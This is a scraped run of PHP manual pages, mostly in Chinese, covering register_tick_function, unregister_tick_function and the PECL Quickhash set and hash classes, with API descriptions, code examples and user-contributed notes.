Fatal error: Maximum execution time of 20 seconds exceeded in - on line 12

The registered shutdown functions will still be executed.

I figured it was important that this be made clear!


注册一个函数以便在每个 tick 上执行

  • ? register_shutdown_function
  • unregister_tick_function ?
  • PHP Manual
  • 函数处理 函数
  • 注册一个函数以便在每个 tick 上执行

register_tick_function

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

register_tick_function — 注册一个函数以便在每个 tick 上执行

说明

register_tick_function(callable $callback, mixed ...$args): bool

注册给定的 callback，以便在 tick 被调用时执行。

参数

callback

需要注册的函数。

args

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 register_tick_function() 示例

<?php
declare(ticks=1);

// using a function as the callback
register_tick_function('my_function', true);

// using an object->method
$object = new my_class();
register_tick_function(array($object, 'my_method'), true);
?>

参见

  • declare
  • unregister_tick_function() - 注销每个 tick 上需要执行的函数

User Contributed Notes

Peter Featherstone 08-Jun-2017 09:03
Due to an implementation bug, the declare(ticks=1) directive leaked into different compilation units prior to PHP 7.0. This is not how declare() directives, which are per-file or per-scope, are supposed to work.

Therefore there are different implementations between PHP 5.6 and the correct implementation has been added in PHP 7.0. This means the below script will return different results

#index.php

<?php

declare(ticks=1);
$count = 0;

register_tick_function('ticker');
function ticker() {
  global $count;
  $count++;
}

?>

#inc.php

<?php

$baz = "baz";
$qux = "qux";

?>

Running php index.php in the terminal gives:

    PHP 5.6 - 7
    PHP 7.0 - 5
Carlos Granados 04-Jan-2017 05:59
A working example with variable input for validating the asymptotic analysis of your algorithm:

<?php

$n = 1000; // Size of your input

declare(ticks=1);

class Counter {
    private $counter = 0;

    public function increase()
    {
        $this->counter++;
    }

    public function print()
    {
        return $this->counter;
    }
}

$obj = new Counter;

register_tick_function([&$obj, 'increase'], true);

for ($i = 0; $i < 100; $i++)
{
    $a = 3;
}

// unregister_tick_function([&$obj, 'increase']);
// Not sure how to de-register, you can use static methods and members in the Counter instead.

var_dump("Number of basic low level operations: " . $obj->print());

?>
Ahmad Samiei 30-Aug-2013 03:41
put in in your index to find where your code exited. find die o exit

function shutdown_find_exit()
{
var_dump($GLOBALS['dbg_stack']);
}
register_shutdown_function('shutdown_find_exit');
function write_dbg_stack()
{
$GLOBALS['dbg_stack'] = debug_backtrace();
}
register_tick_function('write_dbg_stack');
declare(ticks=1);
rob dot eyre at gmail dot com 22-Jul-2011 05:19
It looks like register_tick_function() can accept an anonymous function, but unregister_tick_function() cannot
Jeremy 21-Jun-2007 11:03
I tried the following on an IIS 6/PHP 5 machine:

<?php

    set_time_limit(0);

    function profiler($return = false)
    {
        static $m = 0;
        if($return) return $m . " bytes";
        if(($mem = memory_get_usage()) > $m) $m = $mem;
    }

    register_tick_function('profiler');
    declare(ticks = 1);

    $numbers = array();
    for($i=0; $i<1000000; $i++)
    {
        print($i . "<br />");
    }

    print(profiler(true));

?>

...and got the following errors:

1) PHP has encountered an Unhandled Exception Code -1073741674 at 0435EC5A
2) PHP has encountered an Access Violation at 02727891
3) PHP has encountered an Access Violation at 02727879
4) PHP has encountered an Access Violation at 00000000

So far the code hasn't crashed the web server, but like the warning says, "register_tick_function() should not be used with threaded web server modules. Ticks are not working in ZTS mode and may crash your web server."

Strangely enough, the code does execute successfully every once in a while.


注销每个 tick 上需要执行的函数

  • ? register_tick_function
  • Quickhash ?
  • PHP Manual
  • 函数处理 函数
  • 注销每个 tick 上需要执行的函数

unregister_tick_function

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

unregister_tick_function — 注销每个 tick 上需要执行的函数

说明

unregister_tick_function(callable $callback): void

注销函数 callback，以便在调用 tick 时不再执行。

参数

callback

要注销的函数。

返回值

没有返回值。

参见

  • register_tick_function() - 注册一个函数以便在每个 tick 上执行

User Contributed Notes

There are no user contributed notes for this page.


Quickhash

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
  • 预定义常量
  • 示例
  • QuickHashIntSet — The QuickHashIntSet class
    • QuickHashIntSet::add — This method adds a new entry to the set
    • QuickHashIntSet::__construct — Creates a new QuickHashIntSet object
    • QuickHashIntSet::delete — This method deletes an entry from the set
    • QuickHashIntSet::exists — This method checks whether a key is part of the set
    • QuickHashIntSet::getSize — Returns the number of elements in the set
    • QuickHashIntSet::loadFromFile — This factory method creates a set from a file
    • QuickHashIntSet::loadFromString — This factory method creates a set from a string
    • QuickHashIntSet::saveToFile — This method stores an in-memory set to disk
    • QuickHashIntSet::saveToString — This method returns a serialized version of the set
  • QuickHashIntHash — The QuickHashIntHash class
    • QuickHashIntHash::add — This method adds a new entry to the hash
    • QuickHashIntHash::__construct — Creates a new QuickHashIntHash object
    • QuickHashIntHash::delete — This method deletes an entry from the hash
    • QuickHashIntHash::exists — This method checks whether a key is part of the hash
    • QuickHashIntHash::get — This method retrieves a value from the hash by its key
    • QuickHashIntHash::getSize — Returns the number of elements in the hash
    • QuickHashIntHash::loadFromFile — This factory method creates a hash from a file
    • QuickHashIntHash::loadFromString — This factory method creates a hash from a string
    • QuickHashIntHash::saveToFile — This method stores an in-memory hash to disk
    • QuickHashIntHash::saveToString — This method returns a serialized version of the hash
    • QuickHashIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashIntHash::update — This method updates an entry in the hash with a new value
  • QuickHashStringIntHash — The QuickHashStringIntHash class
    • QuickHashStringIntHash::add — This method adds a new entry to the hash
    • QuickHashStringIntHash::__construct — Creates a new QuickHashStringIntHash object
    • QuickHashStringIntHash::delete — This method deletes an entry from the hash
    • QuickHashStringIntHash::exists — This method checks whether a key is part of the hash
    • QuickHashStringIntHash::get — This method retrieves a value from the hash by its key
    • QuickHashStringIntHash::getSize — Returns the number of elements in the hash
    • QuickHashStringIntHash::loadFromFile — This factory method creates a hash from a file
    • QuickHashStringIntHash::loadFromString — This factory method creates a hash from a string
    • QuickHashStringIntHash::saveToFile — This method stores an in-memory hash to disk
    • QuickHashStringIntHash::saveToString — This method returns a serialized version of the hash
    • QuickHashStringIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashStringIntHash::update — This method updates an entry in the hash with a new value
  • QuickHashIntStringHash — The QuickHashIntStringHash class
    • QuickHashIntStringHash::add — This method adds a new entry to the hash
    • QuickHashIntStringHash::__construct — Creates a new QuickHashIntStringHash object
    • QuickHashIntStringHash::delete — This method deletes an entry from the hash
    • QuickHashIntStringHash::exists — This method checks whether a key is part of the hash
    • QuickHashIntStringHash::get — This method retrieves a value from the hash by its key
    • QuickHashIntStringHash::getSize — Returns the number of elements in the hash
    • QuickHashIntStringHash::loadFromFile — This factory method creates a hash from a file
    • QuickHashIntStringHash::loadFromString — This factory method creates a hash from a string
    • QuickHashIntStringHash::saveToFile — This method stores an in-memory hash to disk
    • QuickHashIntStringHash::saveToString — This method returns a serialized version of the hash
    • QuickHashIntStringHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashIntStringHash::update — This method updates an entry in the hash with a new value

User Contributed Notes

There are no user contributed notes for this page.


简介

The quickhash extension contains a set of specific strongly-typed classes to deal with specific set and hash implementations.

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires no additional libraries.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/quickhash

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Quickhash Example

<?php
$set = new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES );
$set->add( 1 );
$set->add( 3 );

var_dump( $set->exists( 3 ) );
var_dump( $set->exists( 4 ) );

$set->saveToFile( "/tmp/test-set.set" );

$newSet = QuickHashIntSet::loadFromFile(
"/tmp/test-set.set"
);

var_dump( $newSet->exists( 3 ) );
var_dump( $newSet->exists( 4 ) );
?>

以上示例的输出类似于：

bool(true)
bool(false)
bool(true)
bool(false)

Example #2 Quickhash ArrayAccess Example

<?php
$hash = new QuickHashIntHash( 64 );

// Adding and updating hash entries.
$hash[3] = 145926;
$hash[3] = 1415926;
$hash[2] = 72;

// Checking if keys exist
var_dump( isset( $hash[3] ) );

// Removing hash entries
unset( $hash[2] );

// Retrieving the value stored for a hash
echo $hash[3], "\n";
?>

以上示例的输出类似于：

bool(true)
1415926

Example #3 Quickhash Iterator Example

<?php
$hash = new QuickHashIntHash( 64 );

// Adding hash entries.
$hash[1] = 145926;
$hash[2] = 1415926;
$hash[3] = 72;
$hash[4] = 712314;
$hash[5] = -4234;

foreach( $hash as $key => $value )
{
echo $key, ' => ', $value, "\n";
}
?>

以上示例的输出类似于：

5 => -4234
4 => 712314
1 => 145926
2 => 1415926
3 => 72

Example #4 Quickhash String Values Example

<?php
$hash = new QuickHashIntStringHash( 64 );

// Adding hash entries.
$hash[1] = "one million four hundred fifteen thousand nine hundred twenty six";
$hash->add( 2, "one more" );

foreach( $hash as $key => $value )
{
echo $key, ' => ', $value, "\n";
}
?>

以上示例的输出类似于：

1 => one million four hundred fifteen thousand nine hundred twenty six
2 => one more

User Contributed Notes

There are no user contributed notes for this page.


The QuickHashIntSet class

(PECL quickhash >= Unknown)

简介

This class wraps around a set containing integer numbers.

Sets can also be iterated over with foreach as the Iterator interface is implemented as well. The order of which elements are returned in is not guaranteed.

类摘要

class QuickHashIntSet {
/* 常量 */
const int CHECK_FOR_DUPES = 1;
const int DO_NOT_USE_ZEND_ALLOC = 2;
const int HASHER_NO_HASH = 256;
const int HASHER_JENKINS1 = 512;
const int HASHER_JENKINS2 = 1024;
/* 方法 */
public add(int $key): bool
public __construct(int $size, int $options = ?)
public delete(int $key): bool
public exists(int $key): bool
publicgetSize(): int
public static loadFromFile(string $filename, int $size = ?, int $options = ?): QuickHashIntSet
public static loadFromString(string $contents, int $size = ?, int $options = ?): QuickHashIntSet
public saveToFile(string $filename): void
public saveToString(): string
}

预定义常量

QuickHashIntSet::CHECK_FOR_DUPES

If enabled, adding duplicate elements to a set (through either QuickHashIntSet::add() or QuickHashIntSet::loadFromFile()) will result in those elements to be dropped from the set. This will take up extra time, so only used when it is required.

QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC

Disables the use of PHP's internal memory manager for internal set structures. With this option enabled, internal allocations will not count towards the memory_limit settings.

QuickHashIntSet::HASHER_NO_HASH

Selects to not use a hashing function, but merely use a modulo to find the bucket list index. This is not faster than normal hashing, and gives more collisions.

QuickHashIntSet::HASHER_JENKINS1

This is the default hashing function to turn the integer hashes into bucket list indexes.

QuickHashIntSet::HASHER_JENKINS2

Selects a variant hashing algorithm.

Table of Contents

  • QuickHashIntSet::add — This method adds a new entry to the set
  • QuickHashIntSet::__construct — Creates a new QuickHashIntSet object
  • QuickHashIntSet::delete — This method deletes an entry from the set
  • QuickHashIntSet::exists — This method checks whether a key is part of the set
  • QuickHashIntSet::getSize — Returns the number of elements in the set
  • QuickHashIntSet::loadFromFile — This factory method creates a set from a file
  • QuickHashIntSet::loadFromString — This factory method creates a set from a string
  • QuickHashIntSet::saveToFile — This method stores an in-memory set to disk
  • QuickHashIntSet::saveToString — This method returns a serialized version of the set

User Contributed Notes

There are no user contributed notes for this page.


This method adds a new entry to the set

  • ? QuickHashIntSet
  • QuickHashIntSet::__construct ?
  • PHP Manual
  • QuickHashIntSet
  • This method adds a new entry to the set

QuickHashIntSet::add

(PECL quickhash >= Unknown)

QuickHashIntSet::add — This method adds a new entry to the set

说明

public QuickHashIntSet::add(int $key): bool

This method adds a new entry to the set, and returns whether the entry was added. Entries are by default always added unless QuickHashIntSet::CHECK_FOR_DUPES has been passed when the set was created.

参数

key

The key of the entry to add.

返回值

true when the entry was added, and false if the entry was not added.

示例

Example #1 QuickHashIntSet::add() example

<?php
echo "without dupe checking\n";
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

echo "\nwith dupe checking\n";
$set = new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
?>

以上示例的输出类似于：

without dupe checking
bool(false)
bool(true)
bool(true)
bool(true)

with dupe checking
bool(false)
bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new QuickHashIntSet object

  • ? QuickHashIntSet::add
  • QuickHashIntSet::delete ?
  • PHP Manual
  • QuickHashIntSet
  • Creates a new QuickHashIntSet object

QuickHashIntSet::__construct

(PECL quickhash >= Unknown)

QuickHashIntSet::__construct — Creates a new QuickHashIntSet object

说明

public QuickHashIntSet::__construct(int $size, int $options = ?)

This constructor creates a new QuickHashIntSet. The size is the amount of bucket lists to create. The more lists there are, the less collisions you will have. Options are also supported.

参数

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The options that you can pass in are: QuickHashIntSet::CHECK_FOR_DUPES, which makes sure no duplicate entries are added to the set; QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC to not use PHP's internal memory manager as well as one of QuickHashIntSet::HASHER_NO_HASH, QuickHashIntSet::HASHER_JENKINS1 or QuickHashIntSet::HASHER_JENKINS2. These last three configure which hashing algorithm to use. All options can be combined using bitmasks.

返回值

Returns a new QuickHashIntSet object.

示例

Example #1 QuickHashIntSet::__construct() example

<?php
var_dump( new QuickHashIntSet( 1024 ) );
var_dump( new QuickHashIntSet( 1024, QuickHashIntSet::CHECK_FOR_DUPES ) );
var_dump(
new QuickHashIntSet(
1024,
QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC | QuickHashIntSet::HASHER_JENKINS2
)
);
?>

User Contributed Notes

There are no user contributed notes for this page.


This method deletes an entry from the set

  • ? QuickHashIntSet::__construct
  • QuickHashIntSet::exists ?
  • PHP Manual
  • QuickHashIntSet
  • This method deletes an entry from the set

QuickHashIntSet::delete

(PECL quickhash >= Unknown)

QuickHashIntSet::delete — This method deletes an entry from the set

说明

public QuickHashIntSet::delete(int $key): bool

This method deletes an entry from the set, and returns whether the entry was deleted or not. Associated memory structures will not be freed immediately, but rather when the set itself is freed.

参数

key

The key of the entry to delete.

返回值

true when the entry was deleted, and false if the entry was not deleted.

示例

Example #1 QuickHashIntSet::delete() example

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->delete( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->delete( 4 ) );
?>

以上示例的输出类似于：

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


This method checks whether a key is part of the set

  • ? QuickHashIntSet::delete
  • QuickHashIntSet::getSize ?
  • PHP Manual
  • QuickHashIntSet
  • This method checks whether a key is part of the set

QuickHashIntSet::exists

(PECL quickhash >= Unknown)

QuickHashIntSet::exists — This method checks whether a key is part of the set

说明

public QuickHashIntSet::exists(int $key): bool

This method checks whether an entry with the provided key exists in the set.

参数

key

The key of the entry to check for whether it exists in the set.

返回值

Returns true when the entry was found, or false when the entry is not found.

示例

Example #1 QuickHashIntSet::exists() example

<?php
//generate 200000 elements
$array = range( 0, 199999 );
$existingEntries = array_rand( array_flip( $array ), 180000 );
$testForEntries = array_rand( array_flip( $array ), 1000 );
$foundCount = 0;

echo "Creating set: ", microtime( true ), "\n";
$set = new QuickHashIntSet( 100000 );
echo "Adding elements: ", microtime( true ), "\n";
foreach( $existingEntries as $key )
{
$set->add( $key );
}

echo "Doing 1000 tests: ", microtime( true ), "\n";
foreach( $testForEntries as $key )
{
$foundCount += $set->exists( $key );
}
echo "Done, $foundCount found: ", microtime( true ), "\n";
?>

以上示例的输出类似于：

Creating set: 1263588703.0748
Adding elements: 1263588703.0757
Doing 1000 tests: 1263588703.7851
Done, 898 found: 1263588703.7897

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of elements in the set

  • ? QuickHashIntSet::exists
  • QuickHashIntSet::loadFromFile ?
  • PHP Manual
  • QuickHashIntSet
  • Returns the number of elements in the set

QuickHashIntSet::getSize

(PECL quickhash >= Unknown)

QuickHashIntSet::getSize — Returns the number of elements in the set

说明

publicQuickHashIntSet::getSize(): int

Returns the number of elements in the set.

参数

此函数没有参数。

返回值

The number of elements in the set.

示例

Example #1 QuickHashIntSet::getSize() example

<?php
$set = new QuickHashIntSet( 8 );
var_dump( $set->add( 2 ) );
var_dump( $set->add( 3 ) );
var_dump( $set->getSize() );
?>

以上示例的输出类似于：

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a set from a file

  • ? QuickHashIntSet::getSize
  • QuickHashIntSet::loadFromString ?
  • PHP Manual
  • QuickHashIntSet
  • This factory method creates a set from a file

QuickHashIntSet::loadFromFile

(PECL quickhash >= Unknown)

QuickHashIntSet::loadFromFile — This factory method creates a set from a file

说明

public static QuickHashIntSet::loadFromFile(string $filename, int $size = ?, int $options = ?): QuickHashIntSet

This factory method creates a new set from a definition file on disk. The file format consists of 32 bit signed integers packed together in the Endianness that the system that the code runs on uses.

参数

filename

The filename of the file to read the set from.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the set, rounded up to the nearest power of two with a maximum limit of 4194304.

返回值

Returns a new QuickHashIntSet.

示例

Example #1 QuickHashIntSet::loadFromFile() example

<?php
$file = dirname( __FILE__ ) . "/simple.set";
$set = QuickHashIntSet::loadFromFile(
$file,
QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Key %3d (%2x) is %s\n",
$key, $key,
$set->exists( $key ) ? 'set' : 'unset'
);
}
?>

以上示例的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This factory method creates a set from a string

  • ? QuickHashIntSet::loadFromFile
  • QuickHashIntSet::saveToFile ?
  • PHP Manual
  • QuickHashIntSet
  • This factory method creates a set from a string

QuickHashIntSet::loadFromString

(PECL quickhash >= Unknown)

QuickHashIntSet::loadFromString — This factory method creates a set from a string

说明

public static QuickHashIntSet::loadFromString(string $contents, int $size = ?, int $options = ?): QuickHashIntSet

This factory method creates a new set from a definition in a string. The file format consists of 32 bit signed integers packed together in the Endianness that the system that the code runs on uses.

参数

contents

The string containing a serialized format of the set.

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 4 to 4194304.

options

The same options that the class' constructor takes; except that the size option is ignored. It is automatically calculated to be the same as the number of entries in the set, rounded up to the nearest power of two automatically limited from 64 to 4194304.

返回值

Returns a new QuickHashIntSet.

示例

Example #1 QuickHashIntSet::loadFromString() example

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.set" );
$set = QuickHashIntSet::loadFromString(
$contents,
QuickHashIntSet::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
printf( "Key %3d (%2x) is %s\n",
$key, $key,
$set->exists( $key ) ? 'set' : 'unset'
);
}
?>

以上示例的输出类似于：

Key   0 ( 0) is unset
Key   1 ( 1) is set
Key   2 ( 2) is set
Key   3 ( 3) is set
Key   4 ( 4) is unset
Key   5 ( 5) is set
Key   6 ( 6) is unset
Key   7 ( 7) is set
Key   8 ( 8) is unset
Key   9 ( 9) is unset
Key  10 ( a) is unset
Key  11 ( b) is set
Key  12 ( c) is unset
Key  13 ( d) is set
Key  14 ( e) is unset
Key  15 ( f) is unset

User Contributed Notes

There are no user contributed notes for this page.


This method stores an in-memory set to disk

  • ? QuickHashIntSet::loadFromString
  • QuickHashIntSet::saveToString ?
  • PHP Manual
  • QuickHashIntSet
  • This method stores an in-memory set to disk

QuickHashIntSet::saveToFile

(PECL quickhash >= Unknown)

QuickHashIntSet::saveToFile — This method stores an in-memory set to disk

说明

public QuickHashIntSet::saveToFile(string $filename): void

This method stores an existing set to a file on disk, in the same format that QuickHashIntSet::loadFromFile() can read.

参数

filename

The filename of the file to store the hash in.

返回值

没有返回值。

示例

Example #1 QuickHashIntSet::saveToFile() example

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

$set->saveToFile( '/tmp/test.set' );
?>

User Contributed Notes

There are no user contributed notes for this page.


This method returns a serialized version of the set

  • ? QuickHashIntSet::saveToFile
  • QuickHashIntHash ?
  • PHP Manual
  • QuickHashIntSet
  • This method returns a serialized version of the set

QuickHashIntSet::saveToString

(PECL quickhash >= Unknown)

QuickHashIntSet::saveToString — This method returns a serialized version of the set

说明

public QuickHashIntSet::saveToString(): string

This method returns a serialized version of the set in the same format that QuickHashIntSet::loadFromString() can read.

参数

此函数没有参数。

返回值

This method returns a string containing a serialized format of the set. Each element is stored as a four byte value in the Endianness that the current system uses.

示例

Example #1 QuickHashIntSet::saveToString() example

<?php
$set = new QuickHashIntSet( 1024 );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );
var_dump( $set->exists( 4 ) );
var_dump( $set->add( 4 ) );

var_dump( $set->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


The QuickHashIntHash class

(PECL quickhash >= Unknown)

简介

This class wraps around a hash containing integer numbers, where the values are also integer numbers. Hashes are also available as implementation of the ArrayAccess interface.

Hashes can also be iterated over with foreach as the Iterator interface is implemented as well. The order of which elements are returned in is not guaranteed.

类摘要

class QuickHashIntHash {
/* 常量 */
const int CHECK_FOR_DUPES = 1;
const int DO_NOT_USE_ZEND_ALLOC = 2;
const int HASHER_NO_HASH = 256;
const int HASHER_JENKINS1 = 512;
const int HASHER_JENKINS2 = 1024;
/* 方法 */
public add(int $key, int $value = ?): bool
public __construct(int $size, int $options = ?)
public delete(int $key): bool
public exists(int $key): bool
public get(int $key): int
public getSize(): int
public static loadFromFile(string $filename, int $options = ?): QuickHashIntHash
public static loadFromString(string $contents, int $options = ?): QuickHashIntHash
public saveToFile(string $filename): void
public saveToString(): string
public set(int $key, int $value): bool
public update(int $key, int $value): bool
}

预定义常量

QuickHashIntHash::CHECK_FOR_DUPES

If enabled, adding duplicate elements to a set (through either QuickHashIntHash::add() or QuickHashIntHash::loadFromFile()) will result in those elements to be dropped from the set. This will take up extra time, so only used when it is required.

QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC

Disables the use of PHP's internal memory manager for internal set structures. With this option enabled, internal allocations will not count towards the memory_limit settings.

QuickHashIntHash::HASHER_NO_HASH

Selects to not use a hashing function, but merely use a modulo to find the bucket list index. This is not faster than normal hashing, and gives more collisions.

QuickHashIntHash::HASHER_JENKINS1

This is the default hashing function to turn the integer hashes into bucket list indexes.

QuickHashIntHash::HASHER_JENKINS2

Selects a variant hashing algorithm.

Table of Contents

  • QuickHashIntHash::add — This method adds a new entry to the hash
  • QuickHashIntHash::__construct — Creates a new QuickHashIntHash object
  • QuickHashIntHash::delete — This method deletes an entry from the hash
  • QuickHashIntHash::exists — This method checks whether a key is part of the hash
  • QuickHashIntHash::get — This method retrieves a value from the hash by its key
  • QuickHashIntHash::getSize — Returns the number of elements in the hash
  • QuickHashIntHash::loadFromFile — This factory method creates a hash from a file
  • QuickHashIntHash::loadFromString — This factory method creates a hash from a string
  • QuickHashIntHash::saveToFile — This method stores an in-memory hash to disk
  • QuickHashIntHash::saveToString — This method returns a serialized version of the hash
  • QuickHashIntHash::set — This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
  • QuickHashIntHash::update — This method updates an entry in the hash with a new value

User Contributed Notes

There are no user contributed notes for this page.


This method adds a new entry to the hash

  • ? QuickHashIntHash
  • QuickHashIntHash::__construct ?
  • PHP Manual
  • QuickHashIntHash
  • This method adds a new entry to the hash

QuickHashIntHash::add

(PECL quickhash >= Unknown)

QuickHashIntHash::add — This method adds a new entry to the hash

说明

public QuickHashIntHash::add(int $key, int $value = ?): bool

This method adds a new entry to the hash, and returns whether the entry was added. Entries are by default always added unless QuickHashIntHash::CHECK_FOR_DUPES has been passed when the hash was created.

参数

key

The key of the entry to add.

value

The optional value of the entry to add. If no value is specified, 1 will be used.

返回值

true when the entry was added, and false if the entry was not added.

示例

Example #1 QuickHashIntHash::add() example

<?php
echo "without dupe checking\n";
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 22 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 12 ) );

echo "\nwith dupe checking\n";
$hash = new QuickHashIntHash( 1024, QuickHashIntHash::CHECK_FOR_DUPES );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 78 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, 9 ) );

echo "\ndefault value\n";
var_dump( $hash->add( 5 ) );
var_dump( $hash->get( 5 ) );
?>

以上示例的输出类似于：

without dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
int(22)
bool(true)

with dupe checking
bool(false)
bool(false)
bool(true)
bool(true)
int(78)
bool(false)

default value
bool(true)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new QuickHashIntHash object

  • ? QuickHashIntHash::add
  • QuickHashIntHash::delete ?
  • PHP Manual
  • QuickHashIntHash
  • Creates a new QuickHashIntHash object

QuickHashIntHash::__construct

(PECL quickhash >= Unknown)

QuickHashIntHash::__construct — Creates a new QuickHashIntHash object

说明

public QuickHashIntHash::__construct(int $size, int $options = ?)

This constructor creates a new QuickHashIntHash. The size is the amount of bucket lists to create. The more lists there are, the less collisions you will have. Options are also supported.

参数

size

The amount of bucket lists to configure. The number you pass in will be automatically rounded up to the next power of two. It is also automatically limited from 64 to 4194304.

options

The options that you can pass in are: QuickHashIntHash::CHECK_FOR_DUPES, which makes sure no duplicate entries are added to the hash; QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC to not use PHP's internal memory manager as well as one of QuickHashIntHash::HASHER_NO_HASH, QuickHashIntHash::HASHER_JENKINS1 or QuickHashIntHash::HASHER_JENKINS2. These last three configure which hashing algorithm to use. All options can be combined using bitmasks.

返回值

Returns a new QuickHashIntHash object.

示例

Example #1 QuickHashIntHash::__construct() example

<?php
var_dump( new QuickHashIntHash( 1024 ) );
var_dump( new QuickHashIntHash( 1024, QuickHashIntHash::CHECK_FOR_DUPES ) );
var_dump(
new QuickHashIntHash(
1024,
QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC | QuickHashIntHash::HASHER_JENKINS2
)
);
?>

User Contributed Notes

There are no user contributed notes for this page.


This method deletes an entry from the hash

  • ? QuickHashIntHash::__construct
  • QuickHashIntHash::exists ?
  • PHP Manual
  • QuickHashIntHash
  • This method deletes an entry from the hash

QuickHashIntHash::delete

(PECL quickhash >= Unknown)

QuickHashIntHash::delete — This method deletes an entry from the hash

说明

public QuickHashIntHash::delete(int $key): bool

This method deletes an entry from the hash, and returns whether the entry was deleted or not. Associated memory structures will not be freed immediately, but rather when the hash itself is freed.

Elements can not be deleted when the hash is used in an iterator. The method will not throw an exception, but simply return false like would happen with any other deletion failure.

参数

key

The key of the entry to delete.

返回值

true when the entry was deleted, and false if the entry was not deleted.

示例

Example #1 QuickHashIntHash::delete() example

<?php
$hash = new QuickHashIntHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, 5 ) );
var_dump( $hash->delete( 4 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->delete( 4 ) );
?>

以上示例的输出类似于：

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


This method checks whether a key is part of the hash

  • ? QuickHashIntHash::delete
  • QuickHashIntHash::get ?
  • PHP Manual
  • QuickHashIntHash
  • This method checks whether a key is part of the hash

QuickHashIntHash::exists

(PECL quickhash >= Unknown)

QuickHashIntHash::exists — This method checks whether a key is part of the hash

说明

public QuickHashIntHash::exists(int $key): bool

This method checks whether an entry with the provided key exists in the hash.

参数

key

The key of the entry to check for whether it exists in the hash.

返回值

Returns true when the entry was found, or false when the entry is not found.

示例

Example #1 QuickHashIntHash::exists() example

<?php
//generate 200000 elements
$array = range( 0, 199999 );
$existingEntries = array_rand( array_flip( $array ), 180000 );
$testForEntries = array_rand( array_flip( $array ), 1000 );
$foundCount = 0;

echo "Creating hash: ", microtime( true ), "\n";
$hash = new QuickHashIntHash( 100000 );
echo "Adding elements: ", microtime( true ), "\n";
foreach( $existingEntries as $key )
{
$hash->add( $key, 56 );
}

echo "Doing 1000 tests: ", microtime( true ), "\n";
foreach( $testForEntries as $key )
{
$foundCount += $hash->exists( $key );
}
echo "Done, $foundCount found: ", microtime( true ), "\n";
?>

以上示例的输出类似于：

Creating hash: 1263588703.0748
Adding elements: 1263588703.0757
Doing 1000 tests: 1263588703.7851
Done, 898 found: 1263588703.7897

User Contributed Notes

There are no user contributed notes for this page.


This method retrieves a value from the hash by its key

